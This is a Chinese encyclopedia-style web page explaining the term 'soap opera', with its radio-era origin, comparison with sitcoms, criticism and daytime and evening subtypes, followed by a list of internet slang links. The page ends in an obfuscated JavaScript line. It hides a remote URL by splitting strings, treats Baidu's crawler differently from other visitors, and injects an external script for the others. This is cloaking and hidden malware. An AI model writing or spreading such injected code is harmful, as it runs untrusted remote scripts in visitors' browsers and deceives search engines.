當(dāng)前位置:首頁 > 娛樂 > 網(wǎng)絡(luò)流行語 > 正文

肥皂劇是什么意思?什么是肥皂劇(泡沫劇)

2013-10-10 21:47:53  來源:360常識網(wǎng)   熱度:
導(dǎo)語:肥皂劇起源于早期的歐美電視,原因是在晚間 ,電視臺會播放一些搞笑的短片 ,沒有深度 ,只求一笑,在這些短片里經(jīng)常會夾雜著一些肥皂的廣告。久而久之大家都以肥皂劇來稱呼這些短片。

肥皂?。╯oap opera)是從英語傳至中文的外來詞匯,又叫泡沫劇。通常指一出連續(xù)很長時間的、虛構(gòu)的電視劇節(jié)目,每周安排為多集連續(xù)播出,因此又稱系列電視連續(xù)?。ǖ?ldquo;連續(xù)劇”一詞可以泛指一切劇情連續(xù)的電視節(jié)目)。因最初播放期間經(jīng)常夾雜肥皂廣告而得名。

肥皂劇的起源發(fā)展

肥皂劇一詞起源于早期的歐美電視,原因是在晚間,電視臺會播放一些搞笑的短片,沒有深度,只求一笑,在這些短片里經(jīng)常會夾雜著一些肥皂的廣告。久而久之,大家都以肥皂劇來稱呼這些短片。再接下來,短片不斷的拍攝,形成連續(xù)劇的形式,肥皂劇大體和以前的含義差不多,但是主要的意思比較貶義,含有無聊拖遢的意思。肥皂劇的起源其實和寶潔公司有關(guān)。在20世紀(jì)30年代,收聽廣播節(jié)目是當(dāng)時的時髦事。而廣播節(jié)目中常常會播放寶潔公司的肥皂廣告,因此美國人就轉(zhuǎn)而把那時候的節(jié)目稱為肥皂劇。

肥皂劇的中西對比

對比中國社會的電視劇文化,西方肥皂劇有其獨特的界定與自身特點。廣義上看,英美等國都將所有劇種分為三大類:soap opera (肥皂?。?,sitcom (情境喜劇)和TV drama (電視?。鴥?nèi)許多人認(rèn)為國內(nèi)風(fēng)靡一時的《我愛我家》、《編輯部的故事》都可以拉入肥皂劇的范疇,但按照西方電視劇分類,嚴(yán)格上講它們還是僅僅被定義為情境喜劇 (sitcom),因為兩部戲各集之間的故事關(guān)聯(lián)不緊密,往往可以獨立成章,而且最后一集都被安排了完美結(jié)局。而西方肥皂劇的特點則是偏向連續(xù)劇 (serial),幾乎所有的肥皂劇都沒有傳統(tǒng)意義上的結(jié)局或者叫做 “開放式結(jié)局〔open ending〕”,即使有也是一種不穩(wěn)定狀態(tài)下的暫時平衡,往往一對矛盾的解決意味著新矛盾的開端。即使像《欲望都市》這樣有著明顯的 “完結(jié)篇”,制片方也會有意地留有 “活口”:比格對凱莉表白時的用語是“我要的就是你”,而不是求婚時最常用的“嫁給我好嗎”,這樣比格和凱莉的關(guān)系就可以瞬息萬變。如果到時候拍續(xù)集,無論人物關(guān)系發(fā)生怎樣的變化,劇情立即就可以自圓其說。

肥皂劇的主要影響

肥皂劇在西方社會被學(xué)術(shù)界和輿論曾一度被認(rèn)為是低級的電視節(jié)目,是社會層次和文化層次不高的觀眾群體的一種簡易消遣形式。甚至在英國有社會學(xué)學(xué)者指出,肥皂劇有明顯的助長人類不良習(xí)慣的傾向。表面上看,與新聞和紀(jì)錄片相比,肥皂劇確實缺少具有時效性和重要性的信息量,它包含的與社會技術(shù)進步和文化進步有關(guān)的東西也不多,不像紀(jì)錄片那樣博大精深也不像新聞評論節(jié)目那樣針砭時弊。除此之外,大部分肥皂劇的演員是節(jié)目播出之后才有了名氣。攝制技術(shù)上幾乎沒有其它的特別之處:缺少大幅移動鏡頭(衡量高質(zhì)量商業(yè)節(jié)目的標(biāo)準(zhǔn)),沒有費時費事的場面調(diào)度與安排。有些早期的肥皂劇,從攝制和表演水平的角度看,甚至是質(zhì)量低劣的。批評者指責(zé)通俗文化的品質(zhì)低劣,制片人都是商業(yè)化的俗人,受眾則是沒有審美標(biāo)準(zhǔn)、在文化上受壓抑的一群人,并諷刺這些守在電視前觀看肥皂劇的人為“電視蟲”(couch potato)。

其實,肥皂劇的社會影響是遠(yuǎn)遠(yuǎn)超乎人們想象的。從電視節(jié)目界定的角度上去看,肥皂劇無非是娛樂節(jié)目的一種。

肥皂劇的主要分類

日間劇

以18-49歲的家庭主婦為受眾,每周白天固定播5集。“其結(jié)構(gòu)在半個世紀(jì)以來幾乎是一成不變的——一般是星期一是呈現(xiàn)部和再現(xiàn)部;每一集中都是幾條敘事線路并存,在一周中由一個懸念引向一個動人的高潮,在星期五以至少一個情節(jié)線中的危機點收尾。如果一個困境解決了,那么另一個困境必須制造出來。”——《加大對比度》《Days Of Our Life》就是其一。

晚間劇

在結(jié)構(gòu)上與日間相似,但卻在晚間黃金時段以每周一集的頻率播出。成就了晚間肥皂劇的是那部馳名世界的《Dallas》,講述了石油富豪愛文一家內(nèi)部外部的恩怨情仇,以后的《Dynasty》(《豪門恩怨》)和《Falcon Crest》(《鷹冠莊園》)等都是其仿制品。80年代末,晚間肥皂劇漸漸退出了歷史的舞臺。

肥皂劇的特點

但按照西方電視劇分類,嚴(yán)格上講他們還是僅僅被定義為情境喜劇 (sitcom),因為兩部戲各集之間的故事關(guān)聯(lián)不緊,往往可以獨立成章,而且最后一集都被安排了完美結(jié)局.而西方肥皂劇的特點則是偏向連續(xù)劇(serial),幾乎所有的肥皂劇都沒有傳統(tǒng)意義上的結(jié)局或者叫做“開放式結(jié)局(open ending)”,即使有也是一種不穩(wěn)定狀態(tài)下的暫時平衡,往往一對矛盾的解決意味著新矛盾的開端。

即使像《欲望都市》這樣有著明顯的 “完結(jié)篇”,制片方也會有意地留有 “活口”:比格對凱莉表白時的用語是“我要的就是你”,而不是求婚時最常用的“嫁給我好嗎”,這樣比格和凱莉的關(guān)系就可以瞬息萬變。如果到時候拍續(xù)集,無論人物關(guān)系發(fā)生怎樣的變化,劇情立即就可以自圓其說。

肥皂劇的定位

肥皂劇在西方社會被學(xué)術(shù)界和輿論曾一度被認(rèn)為是低級的電視節(jié)目,是社會層次和文化層次不高的觀眾群體的一種簡易消遣形式。甚至在英國有社會學(xué)學(xué)者指出,肥皂劇有明顯的助長人類不良習(xí)慣的傾向。大部分肥皂劇的演員是節(jié)目播出之后才有了名氣。

如英國早期的肥皂劇《十字路口》(crossroad),受眾則是沒有審美標(biāo)準(zhǔn)、在文化上受壓抑的一群人,并諷刺這些守在電視前觀看肥皂劇的人為“沙發(fā)馬鈴薯”(couch potato)。事實上,如果品味文化的美學(xué)標(biāo)準(zhǔn)及其評論內(nèi)容根深到只能由少數(shù)人所享有,那這種審美標(biāo)準(zhǔn)和價值取向也無非是 “曲高和寡”,難以達到電視在消費時代的社會功能要求。

  網(wǎng)絡(luò)流行用語大全

·蛋疼 ·坑爹 ·度娘 ·土豪 ·毀三觀 ·拜金女 ·高富帥 ·弱爆了 ·神馬都是浮云
·猥瑣 ·宅男 ·次奧 ·奇葩 ·傷不起 ·嫁房女 ·白富美 ·碉堡了 ·很黃很暴力
·屌絲 ·腐女 ·熟女 ·驢友 ·綠茶婊 ·奶嘴男 ·黑木耳 ·爆菊花 ·羨慕嫉妒恨
·剩男 ·你妹 ·吐槽 ·腹黑 ·么么噠 ·籬笆女 ·矮窮挫 ·喜當(dāng)?shù)?/span> ·齊B小短裙
·賣萌 ·蘿莉 ·御姐 ·基友 ·滾床單 ·干物女 ·hold住 ·干巴爹 ·我勒個去
·圍脖 ·鴨梨 ·帥鍋 ·搞基 ·仙人跳 ·接盤俠 ·蒜你狠 ·月光族 ·哥只是個傳說
·菜鳥 ·穿越 ·小強 ·悲催 ·高端黑 ·食草男 ·你懂的 ·草泥馬 ·人肉搜索
·癡漢 ·森女 ·嫩模 ·尿點 ·高級黑 ·鳳凰男 ·非主流 ·打醬油 ·內(nèi)牛滿面
·童鞋 ·港女 ·敗犬 ·我暈 ·腦殘粉 ·孔雀女 ·妥妥的 ·高大上 ·我爸是李剛
·XX控 ·D8 ·嗷嗷 ·雷人 ·大姨媽 ·泡良族 ·大姨夫 ·秀下限 ·霸氣側(cè)漏
·揩油 ·小白 ·元芳 ·走你 ·女漢子 ·啃老族 ·沙發(fā)客 ·有木有 ·彎腰撿肥皂
·槑槑 ·劈腿 ·逆襲 ·狗血 ·純爺們 ·小盆友 ·背奶族 ·查水表 ·節(jié)操碎一地
·忽悠 ·吃翔 ·損色 ·419 ·外圍女 ·裝婚男 ·土豪金 ·豎中指 ·去年買了個表
·爺們 ·腦殘 ·滾粗 ·備胎 ·綠茶渣 ·牛奮男 ·鬧太套 ·神回復(fù) ·人品大爆發(fā)
·尼瑪 ·蟻族 ·正太 ·裸婚 ·咖啡婊 ·切糕黨 ·火星文 ·裝B ·躺著也中槍
· ·給力 ·拼爹 ·偽娘 ·上頭條 ·歐巴桑 ·愛無能 ·我擦 ·壓力山大
·醬紫 ·蒙圈 ·人品 ·凌亂 ·我伙呆 ·何棄療 ·思密達 ·惡搞 ·蛋疼菊緊
·拉拉 ·草根 ·得瑟 ·矮油 ·1314 ·公主病 ·肥皂劇 ·牛X ·狗血劇情
·尿性 ·圍觀 ·ol ·裸辭 ·小白鼠 ·拆白黨 ·軟妹紙 ·二貨 ·老牛吃嫩草

 

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
熱門專區(qū)+全部
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}